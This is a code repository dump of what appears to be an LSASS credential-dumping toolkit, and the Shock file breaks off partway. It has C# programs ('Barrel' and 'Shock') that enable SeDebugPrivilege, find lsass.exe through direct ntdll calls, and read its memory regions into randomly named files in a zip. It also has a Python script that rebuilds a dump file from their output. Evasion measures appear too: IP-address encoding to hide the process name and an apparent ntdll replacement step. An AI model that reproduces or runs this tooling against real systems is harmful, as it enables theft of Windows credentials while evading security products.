157 | if os.path.exists(barrel_file):
158 | barrel_json = json.loads(open(barrel_file).read().splitlines()[0])
159 | else:
160 | print("[-] File " + barrel_file + " not found")
161 | sys.exit(0)
162 | if not os.path.exists(memory_files):
163 | print("[-] File or Directory " + memory_files + " not found")
164 | sys.exit(0)
165 |
166 | dump_file = get_dump_bytearr(lock_json, shock_json, barrel_json, memory_files)
167 | create_file(output_file, dump_file)
168 | print("[+] Dump file " + output_file + " created ")
169 |
170 |
171 | if __name__ == "__main__":
172 | main()
--------------------------------------------------------------------------------
/Barrel/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Diagnostics;
5 | using System.IO.Compression;
6 | using System.Collections.Generic;
7 | using System.Runtime.InteropServices;
8 | using static Barrel.NT;
9 | using System.Collections;
10 | using System.Text;
11 |
12 |
13 | namespace Barrel
14 | {
15 | internal class Program
16 | {
17 | // Constants
18 | public const int MEM_COMMIT = 0x00001000;
19 | public const int PAGE_NOACCESS = 0x01;
20 | public const uint MemoryBasicInformation = 0;
21 | public const uint TOKEN_QUERY = 0x00000008;
22 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
23 |
24 | // Functions
25 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle);
26 |
27 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
28 |
29 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject);
30 |
31 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle);
32 |
33 | [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, IntPtr pbi, uint processInformationLength, out uint returnLength);
34 |
35 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
36 |
37 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
38 |
39 | // Structures
40 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; }
41 |
42 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; }
43 |
44 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; }
45 |
46 | // Custom Class
47 | public class MemFile
48 | {
49 | public string filename;
50 | public byte[] content;
51 | public MemFile(string filename, byte[] content)
52 | {
53 | this.filename = filename;
54 | this.content = content;
55 | }
56 | }
57 |
58 |
59 | static void EnableDebugPrivileges()
60 | {
61 | IntPtr currentProcess = Process.GetCurrentProcess().Handle;
62 | IntPtr tokenHandle = IntPtr.Zero;
63 | try
64 | {
65 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle);
66 | if (ntstatus != 0)
67 | {
68 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X"));
69 | Environment.Exit(-1);
70 | }
71 |
72 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
73 | {
74 | PrivilegeCount = 1,
75 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid);
76 | Attributes = 0x00000002
77 | };
78 |
79 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
80 | if (ntstatus != 0)
81 | {
82 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue");
83 | Environment.Exit(-1);
84 | }
85 | }
86 | finally
87 | {
88 | if (tokenHandle != IntPtr.Zero)
89 | {
90 | NtClose(tokenHandle);
91 | }
92 | }
93 | }
94 |
95 |
96 | static string getRandomString(int length, Random random)
97 | {
98 | const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
99 | System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder();
100 | for (int i = 0; i < length; i++)
101 | {
102 | int index = random.Next(chars.Length);
103 | stringBuilder.Append(chars[index]);
104 | }
105 | return stringBuilder.ToString();
106 | }
107 |
108 |
109 | public static string ToJson(string[] array)
110 | {
111 | string json_str = "{";
112 | for (int i = 0; i < array.Length; i++)
113 | {
114 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , ";
115 | }
116 | return (json_str.Substring(0, json_str.Length - 3) + "}");
117 | }
118 |
119 |
120 | public static string ToJsonArray(string[] array)
121 | {
122 | string json_str = "[";
123 | for (int i = 0; i < array.Length; i++)
124 | {
125 | json_str += array[i] + ", ";
126 | }
127 | return (json_str.Substring(0, json_str.Length - 2) + "]");
128 | }
129 |
130 |
131 | static void WriteToFile(string path, string content)
132 | {
133 | System.IO.File.WriteAllText(path, content);
134 | Console.WriteLine("[+] File " + path + " generated.");
135 | }
136 |
137 |
138 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
139 | {
140 | byte[] buff = new byte[8];
141 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
142 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
143 | {
144 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
145 | }
146 | long value = BitConverter.ToInt64(buff, 0);
147 | return (IntPtr)value;
148 | }
149 |
150 |
151 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
152 | {
153 | byte[] buff = new byte[256];
154 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
155 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
156 | {
157 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
158 | }
159 | string unicode_str = "";
160 | for (int i = 0; i < buff.Length - 1; i += 2)
161 | {
162 | if (buff[i] == 0 && buff[i + 1] == 0) { break; }
163 | unicode_str += BitConverter.ToChar(buff, i);
164 | }
165 | return unicode_str;
166 | }
167 |
168 |
169 | public static IntPtr GetProcessByName(string proc_name)
170 | {
171 | IntPtr aux_handle = IntPtr.Zero;
172 | int MAXIMUM_ALLOWED = 0x02000000;
173 |
174 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle))
175 | {
176 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower();
177 | if (current_proc_name == proc_name)
178 | {
179 | return aux_handle;
180 | }
181 | }
182 | return IntPtr.Zero;
183 | }
184 |
185 |
186 | unsafe static string GetProcNameFromHandle(IntPtr process_handle)
187 | {
188 | uint process_basic_information_size = 48;
189 | int peb_offset = 0x8;
190 | int commandline_offset = 0x68;
191 |
192 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
193 | byte[] pbi_byte_array = new byte[process_basic_information_size];
194 |
195 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
196 | IntPtr pbi_addr = IntPtr.Zero;
197 | fixed (byte* p = pbi_byte_array)
198 | {
199 | pbi_addr = (IntPtr)p;
200 |
201 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
202 | if (ntstatus != 0)
203 | {
204 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
205 | }
206 | }
207 |
208 | // Get PEB Base Address
209 | IntPtr peb_pointer = pbi_addr + peb_offset;
210 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
211 |
212 | // Get PEB->ProcessParameters
213 | int processparameters_offset = 0x20;
214 | IntPtr processparameters_pointer = pebaddress + processparameters_offset;
215 |
216 | // Get ProcessParameters->CommandLine
217 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer);
218 | IntPtr commandline_pointer = processparameters_adress + commandline_offset;
219 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer);
220 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address);
221 | return commandline_value;
222 | }
223 |
224 |
225 | public static void GenerateZip(string zipFilePath, List memfile_list)
226 | {
227 | // Check it exists, delete if it does
228 | if (File.Exists(zipFilePath)) { File.Delete(zipFilePath); }
229 |
230 | using (FileStream zipFileStream = new FileStream(zipFilePath, FileMode.Create))
231 | {
232 | using (ZipArchive archive = new ZipArchive(zipFileStream, ZipArchiveMode.Create, true))
233 | {
234 | foreach (MemFile m in memfile_list)
235 | {
236 | ZipArchiveEntry entry = archive.CreateEntry(m.filename, CompressionLevel.Fastest);
237 | using (Stream entryStream = entry.Open())
238 | {
239 | entryStream.Write(m.content, 0, m.content.Length);
240 | }
241 | }
242 | }
243 | }
244 | Console.WriteLine("[+] File " + zipFilePath + " generated.");
245 | }
246 |
247 |
248 | // Source: https://github.com/ricardojoserf/SharpObfuscate
249 | static byte[] getBytesFromIPv4(string ipv4_str)
250 | {
251 | int ipv4_size = 4;
252 | byte[] ipv4_bytes = new byte[ipv4_size];
253 | List Ipv4Vals = ipv4_str.Split('.').Select(int.Parse).ToList();
254 | for (int i = 0; i < ipv4_size; i++)
255 | {
256 | ipv4_bytes[i] = (byte)(Ipv4Vals[i]);
257 | }
258 | return ipv4_bytes;
259 | }
260 |
261 |
262 | // Source: https://github.com/ricardojoserf/SharpObfuscate
263 | public static byte[] ToByteArray(String hexString)
264 | {
265 | // In case the string length is odd
266 | if (hexString.Length % 2 == 1)
267 | {
268 | Console.WriteLine("[-] Hexadecimal value length is odd, adding a 0.");
269 | hexString += "0";
270 | }
271 | byte[] retval = new byte[hexString.Length / 2];
272 | for (int i = 0; i < hexString.Length; i += 2)
273 | retval[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16);
274 | return retval;
275 | }
276 |
277 |
278 | // Source: https://github.com/ricardojoserf/SharpObfuscate
279 | static string decodeIPv4(List ipv4_str_list)
280 | {
281 | int ipv4_size = 4;
282 | string total_bytes_str = "";
283 | foreach (string ipv4_str in ipv4_str_list)
284 | {
285 | byte[] ipv4_bytes = getBytesFromIPv4(ipv4_str);
286 | for (int i = 0; i < ipv4_size; i++)
287 | {
288 | total_bytes_str += ipv4_bytes[i].ToString("X2");
289 | }
290 | }
291 | return Encoding.UTF8.GetString(ToByteArray(total_bytes_str)).TrimEnd('\0');
292 | }
293 |
294 |
295 | static void Barrel(string json_filename, string zip_filename) {
296 | // Random seed
297 | Random random = new Random();
298 |
299 | // Get SeDebugPrivilege
300 | EnableDebugPrivileges();
301 |
302 | // Decode process name (C:\\WINDOWS\\system32\\lsass.exe)
303 | // List process_name_ipv4_encoded = new List { "67.58.92.87", "73.78.68.79", "87.83.92.115", "121.115.116.101", "109.51.50.92", "108.115.97.115", "115.46.101.120", "101.0.0.0" };
304 | // string proc_name = decodeIPv4(process_name_ipv4_encoded);
305 | string proc_name = "c:\\windows\\system32\\lsass.exe";
306 |
307 | // Get process handle
308 | IntPtr processHandle = GetProcessByName(proc_name);
309 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle);
310 | if (processHandle == IntPtr.Zero)
311 | {
312 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable.");
313 | Environment.Exit(-1);
314 | }
315 |
316 | // Loop the memory regions
317 | long proc_max_address_l = (long)0x7FFFFFFEFFFF;
318 | IntPtr aux_address = IntPtr.Zero;
319 | List memfile_list = new List { };
320 | string[] aux_array_1 = { };
321 | while ((long)aux_address < proc_max_address_l)
322 | {
323 | // Populate MEMORY_BASIC_INFORMATION struct calling VirtualQueryEx/NtQueryVirtualMemory
324 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
325 | NtQueryVirtualMemory(processHandle, aux_address, MemoryBasicInformation, out mbi, 0x30, out _);
326 |
327 | // If readable and committed -> Write memory region to a file
328 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
329 | {
330 | byte[] buffer = new byte[(int)mbi.RegionSize];
331 | NtReadVirtualMemory(processHandle, mbi.BaseAddress, buffer, (int)mbi.RegionSize, out _);
332 | string memdump_filename = getRandomString(10, random) + "." + getRandomString(3, random);
333 |
334 | // Add to JSON file
335 | string[] aux_array_2 = { memdump_filename, "0x" + aux_address.ToString("X"), mbi.RegionSize.ToString() };
336 | aux_array_1 = aux_array_1.Concat(new string[] { ToJson(aux_array_2) }).ToArray();
337 |
338 | // Add to global byte array
339 | MemFile memFile = new MemFile(memdump_filename, buffer);
340 | memfile_list.Add(memFile);
341 | }
342 | // Next memory region
343 | aux_address = (IntPtr)((ulong)aux_address + (ulong)mbi.RegionSize);
344 | }
345 | // Close process handle
346 | NtClose(processHandle);
347 |
348 | // Write JSON file
349 | string barrel_json_content = ToJsonArray(aux_array_1);
350 | WriteToFile(json_filename, barrel_json_content);
351 | GenerateZip(zip_filename, memfile_list);
352 | }
353 |
354 |
355 | static void Main(string[] args)
356 | {
357 | // Check binary is correctly compiled
358 | if (!Environment.Is64BitProcess)
359 | {
360 | Console.WriteLine("[-] File must be compiled as 64-byte binary.");
361 | Environment.Exit(-1);
362 | }
363 |
364 | // Replace ntdll library
365 | string option = "";
366 | string wildcard_option = "";
367 | if (args.Length >= 1)
368 | {
369 | option = args[0];
370 | }
371 | if (args.Length >= 2)
372 | {
373 | wildcard_option = args[1];
374 | }
375 | ReplaceLibrary(option, wildcard_option);
376 |
377 | // Get Mem64List information + Dump memory regions. Arguments: Name of JSON file
378 | string json_file = "barrel.json";
379 | string zip_file = "barrel.zip";
380 | Barrel(json_file, zip_file);
381 | }
382 | }
383 | }
--------------------------------------------------------------------------------
/Shock/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Diagnostics;
4 | using System.Collections.Generic;
5 | using System.Runtime.InteropServices;
6 | using static Shock.NT;
7 | using System.Text;
8 |
9 |
10 | namespace Shock
11 | {
12 | internal class Program
13 | {
14 | // Constants
15 | public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
16 | public const uint TOKEN_QUERY = 0x00000008;
17 | public const uint MemoryBasicInformation = 0;
18 | public const int MEM_COMMIT = 0x00001000;
19 | public const int PAGE_NOACCESS = 0x01;
20 |
21 | // Functions
22 | [DllImport("ntdll.dll")] public static extern uint NtOpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, ref IntPtr TokenHandle);
23 |
24 | [DllImport("ntdll.dll")] public static extern uint NtAdjustPrivilegesToken(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
25 |
26 | [DllImport("ntdll.dll")] public static extern uint NtClose(IntPtr hObject);
27 |
28 | [DllImport("ntdll.dll")] public static extern bool NtGetNextProcess(IntPtr handle, int MAX_ALLOWED, int param3, int param4, out IntPtr outHandle);
29 |
30 | [DllImport("ntdll.dll", SetLastError = true)] public static extern uint NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, IntPtr pbi, uint processInformationLength, out uint returnLength);
31 |
32 | [DllImport("ntdll.dll")] public static extern uint NtQueryVirtualMemory(IntPtr hProcess, IntPtr lpAddress, uint MemoryInformationClass, out MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
33 |
34 | [DllImport("ntdll.dll")] public static extern uint NtReadVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
35 |
36 | // Structures
37 | [StructLayout(LayoutKind.Sequential)] public struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID Luid; public uint Attributes; }
38 |
39 | [StructLayout(LayoutKind.Sequential)] public struct LUID { public uint LowPart; public int HighPart; }
40 |
41 | [StructLayout(LayoutKind.Sequential)] public struct MEMORY_BASIC_INFORMATION { public IntPtr BaseAddress; public IntPtr AllocationBase; public int AllocationProtect; public IntPtr RegionSize; public int State; public int Protect; public int Type; }
42 |
43 | // Custom class
44 | public class ModuleInformation
45 | {
46 | public string Name;
47 | public string FullPath;
48 | public IntPtr Address;
49 | public int Size;
50 | public ModuleInformation(string name, string fullpath, IntPtr address, int size)
51 | {
52 | this.Name = name;
53 | this.FullPath = fullpath;
54 | this.Address = address;
55 | this.Size = size;
56 | }
57 | }
58 |
59 |
60 | static void EnableDebugPrivileges()
61 | {
62 | IntPtr currentProcess = Process.GetCurrentProcess().Handle;
63 | IntPtr tokenHandle = IntPtr.Zero;
64 | try
65 | {
66 | uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ref tokenHandle);
67 | if (ntstatus != 0)
68 | {
69 | Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS: 0x" + ntstatus.ToString("X"));
70 | Environment.Exit(-1);
71 | }
72 |
73 | TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
74 | {
75 | PrivilegeCount = 1,
76 | Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeValue(null, "SeDebugPrivilege", ref luid);
77 | Attributes = 0x00000002
78 | };
79 |
80 | ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivileges, (uint)Marshal.SizeOf(typeof(TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero);
81 | if (ntstatus != 0)
82 | {
83 | Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x" + ntstatus.ToString("X") + ". Maybe you need to calculate the LowPart of the LUID using LookupPrivilegeValue");
84 | Environment.Exit(-1);
85 | }
86 | }
87 | finally
88 | {
89 | if (tokenHandle != IntPtr.Zero)
90 | {
91 | NtClose(tokenHandle);
92 | }
93 | }
94 | }
95 |
96 |
97 | public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
98 | {
99 | byte[] buff = new byte[8];
100 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
101 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
102 | {
103 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteIntPtr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
104 | }
105 | long value = BitConverter.ToInt64(buff, 0);
106 | return (IntPtr)value;
107 | }
108 |
109 |
110 | public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
111 | {
112 | byte[] buff = new byte[256];
113 | uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length, out _);
114 | if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hProcess != IntPtr.Zero)
115 | {
116 | Console.WriteLine("[-] Error calling NtReadVirtualMemory (ReadRemoteWStr). NTSTATUS: 0x" + ntstatus.ToString("X") + " reading address 0x" + mem_address.ToString("X"));
117 | }
118 | string unicode_str = "";
119 | for (int i = 0; i < buff.Length - 1; i += 2)
120 | {
121 | if (buff[i] == 0 && buff[i + 1] == 0) { break; }
122 | unicode_str += BitConverter.ToChar(buff, i);
123 | }
124 | return unicode_str;
125 | }
126 |
127 |
128 | public unsafe static List CustomGetModuleHandle(IntPtr hProcess)
129 | {
130 | List moduleInformationList = new List();
131 |
132 | uint process_basic_information_size = 48;
133 | int peb_offset = 0x8;
134 | int ldr_offset = 0x18;
135 | int inInitializationOrderModuleList_offset = 0x30;
136 | int flink_dllbase_offset = 0x20;
137 | int flink_buffer_fulldllname_offset = 0x40;
138 | int flink_buffer_offset = 0x50;
139 |
140 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
141 | byte[] pbi_byte_array = new byte[process_basic_information_size];
142 |
143 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
144 | IntPtr pbi_addr = IntPtr.Zero;
145 | fixed (byte* p = pbi_byte_array)
146 | {
147 | pbi_addr = (IntPtr)p;
148 |
149 | uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
150 | if (ntstatus != 0)
151 | {
152 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
153 | }
154 | }
155 |
156 | // Get PEB Base Address
157 | IntPtr peb_pointer = pbi_addr + peb_offset;
158 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
159 |
160 | // Get Ldr
161 | IntPtr ldr_pointer = pebaddress + ldr_offset;
162 | IntPtr ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer);
163 |
164 | IntPtr InInitializationOrderModuleList = ldr_adress + inInitializationOrderModuleList_offset;
165 | IntPtr next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList);
166 |
167 | IntPtr dll_base = (IntPtr)1337;
168 | while (dll_base != IntPtr.Zero)
169 | {
170 | next_flink = next_flink - 0x10;
171 | // Get DLL base address
172 | dll_base = ReadRemoteIntPtr(hProcess, (next_flink + flink_dllbase_offset));
173 | IntPtr buffer = ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_offset));
174 | // DLL base name
175 | string base_dll_name = "";
176 | if (buffer != IntPtr.Zero) {
177 | base_dll_name = ReadRemoteWStr(hProcess, buffer);
178 | }
179 | // DLL full path
180 | string full_dll_path = ReadRemoteWStr(hProcess, ReadRemoteIntPtr(hProcess, (next_flink + flink_buffer_fulldllname_offset)));
181 |
182 | moduleInformationList.Add(new ModuleInformation(base_dll_name.ToLower(), full_dll_path, dll_base, 0));
183 | next_flink = ReadRemoteIntPtr(hProcess, (next_flink + 0x10));
184 | }
185 | return moduleInformationList;
186 | }
187 |
188 |
189 | public static string ToJson(string[] array)
190 | {
191 | string json_str = "{";
192 | for (int i = 0; i < array.Length; i++)
193 | {
194 | json_str += "\"field" + i.ToString() + "\" : \"" + array[i] + "\" , ";
195 | }
196 | return (json_str.Substring(0, json_str.Length - 3) + "}");
197 | }
198 |
199 |
200 | public static string ToJsonArray(string[] array)
201 | {
202 | string json_str = "[";
203 | for (int i = 0; i < array.Length; i++)
204 | {
205 | json_str += array[i] + ", ";
206 | }
207 | return (json_str.Substring(0, json_str.Length - 2) + "]");
208 | }
209 |
210 |
211 | static void WriteToFile(string path, string content)
212 | {
213 | System.IO.File.WriteAllText(path, content);
214 | Console.WriteLine("[+] File " + path + " generated.");
215 | }
216 |
217 |
218 | public static IntPtr GetProcessByName(string proc_name)
219 | {
220 | IntPtr aux_handle = IntPtr.Zero;
221 | int MAXIMUM_ALLOWED = 0x02000000;
222 |
223 | while (!NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, out aux_handle))
224 | {
225 | string current_proc_name = GetProcNameFromHandle(aux_handle).ToLower();
226 | if (current_proc_name == proc_name) {
227 | return aux_handle;
228 | }
229 | }
230 | return IntPtr.Zero;
231 | }
232 |
233 |
234 | unsafe static string GetProcNameFromHandle(IntPtr process_handle) {
235 | uint process_basic_information_size = 48;
236 | int peb_offset = 0x8;
237 | int commandline_offset = 0x68;
238 |
239 | // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
240 | byte[] pbi_byte_array = new byte[process_basic_information_size];
241 |
242 | // Create a PROCESS_BASIC_INFORMATION structure in the byte array
243 | IntPtr pbi_addr = IntPtr.Zero;
244 | fixed (byte* p = pbi_byte_array)
245 | {
246 | pbi_addr = (IntPtr)p;
247 |
248 | uint ntstatus = NtQueryInformationProcess(process_handle, 0x0, pbi_addr, process_basic_information_size, out uint ReturnLength);
249 | if (ntstatus != 0)
250 | {
251 | Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
252 | }
253 | }
254 |
255 | // Get PEB Base Address
256 | IntPtr peb_pointer = pbi_addr + peb_offset;
257 | IntPtr pebaddress = Marshal.ReadIntPtr(peb_pointer);
258 |
259 | // Get PEB->ProcessParameters
260 | int processparameters_offset = 0x20;
261 | IntPtr processparameters_pointer = pebaddress + processparameters_offset;
262 |
263 | // Get ProcessParameters->CommandLine
264 | IntPtr processparameters_adress = ReadRemoteIntPtr(process_handle, processparameters_pointer);
265 | IntPtr commandline_pointer = processparameters_adress + commandline_offset;
266 | IntPtr commandline_address = ReadRemoteIntPtr(process_handle, commandline_pointer);
267 | string commandline_value = ReadRemoteWStr(process_handle, commandline_address);
268 |
269 | /* Console.WriteLine("pebaddress: \t\t0x" + pebaddress.ToString("X"));
270 | Console.WriteLine("processparameters_pointer: \t\t0x" + processparameters_pointer.ToString("X"));
271 | Console.WriteLine("processparameters_adress : \t\t0x" + processparameters_adress.ToString("X"));
272 | Console.WriteLine("commandline_pointer:\t\t0x" + commandline_pointer.ToString("X"));
273 | Console.WriteLine("commandline_address:\t\t0x" + commandline_address.ToString("X")); */
274 |
275 | return commandline_value;
276 | }
277 |
278 |
279 | // Source: https://github.com/ricardojoserf/SharpObfuscate
280 | static byte[] getBytesFromIPv4(string ipv4_str)
281 | {
282 | int ipv4_size = 4;
283 | byte[] ipv4_bytes = new byte[ipv4_size];
284 | List Ipv4Vals = ipv4_str.Split('.').Select(int.Parse).ToList();
285 | for (int i = 0; i < ipv4_size; i++)
286 | {
287 | ipv4_bytes[i] = (byte)(Ipv4Vals[i]);
288 | }
289 | return ipv4_bytes;
290 | }
291 |
292 |
293 | // Source: https://github.com/ricardojoserf/SharpObfuscate
294 | public static byte[] ToByteArray(String hexString)
295 | {
296 | // In case the string length is odd
297 | if (hexString.Length % 2 == 1)
298 | {
299 | Console.WriteLine("[-] Hexadecimal value length is odd, adding a 0.");
300 | hexString += "0";
301 | }
302 | byte[] retval = new byte[hexString.Length / 2];
303 | for (int i = 0; i < hexString.Length; i += 2)
304 | retval[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16);
305 | return retval;
306 | }
307 |
308 |
309 | // Source: https://github.com/ricardojoserf/SharpObfuscate
310 | static string decodeIPv4(List ipv4_str_list)
311 | {
312 | int ipv4_size = 4;
313 | string total_bytes_str = "";
314 | foreach (string ipv4_str in ipv4_str_list)
315 | {
316 | byte[] ipv4_bytes = getBytesFromIPv4(ipv4_str);
317 | for (int i = 0; i < ipv4_size; i++)
318 | {
319 | total_bytes_str += ipv4_bytes[i].ToString("X2");
320 | }
321 | }
322 | return Encoding.UTF8.GetString(ToByteArray(total_bytes_str)).TrimEnd('\0');
323 | }
324 |
325 |
326 | static void Shock(string file_name) {
327 | // Get SeDebugPrivilege
328 | EnableDebugPrivileges();
329 |
330 | // Decode process name (C:\\WINDOWS\\system32\\lsass.exe)
331 | // List process_name_ipv4_encoded = new List { "67.58.92.87", "73.78.68.79", "87.83.92.115", "121.115.116.101", "109.51.50.92", "108.115.97.115", "115.46.101.120", "101.0.0.0" };
332 | // string proc_name = decodeIPv4(process_name_ipv4_encoded);
333 | string proc_name = "c:\\windows\\system32\\lsass.exe";
334 |
335 | // Get process handle
336 | IntPtr processHandle = GetProcessByName(proc_name);
337 | Console.WriteLine("[+] Process handle: \t\t\t\t" + processHandle);
338 | if (processHandle == IntPtr.Zero) {
339 | Console.WriteLine("[-] It was not possible to get a process handle. If you get 0xC0000022 errors probably PEB is unreadable.");
340 | Environment.Exit(-1);
341 | }
342 |
343 | // List to get modules information
344 | List moduleInformationList = CustomGetModuleHandle(processHandle);
345 |
346 | // Loop the memory regions
347 | long proc_max_address_l = (long)0x7FFFFFFEFFFF;
348 | IntPtr mem_address = IntPtr.Zero;
349 | int aux_size = 0;
350 | string aux_name = "";
351 |
352 | while ((long)mem_address < proc_max_address_l)
353 | {
354 | // Populate MEMORY_BASIC_INFORMATION struct
355 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
356 | uint ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, MemoryBasicInformation, out mbi, 0x30, out _);
357 | if (ntstatus != 0)
358 | {
359 | Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
360 | }
361 |
362 | // If readable and commited --> Write memory region to a file
363 | if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
364 | {
365 | ModuleInformation aux_module = moduleInformationList.Find(obj => obj.Name == aux_name);
366 |
367 | if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != aux_module.Address)
368 | {
369 | aux_module.Size = aux_size;
370 | int aux_index = moduleInformationList.FindIndex(obj => obj.Name == aux_name);
371 | moduleInformationList[aux_index] = aux_module;
372 |
373 | foreach (ModuleInformation modInfo in moduleInformationList)
374 | {
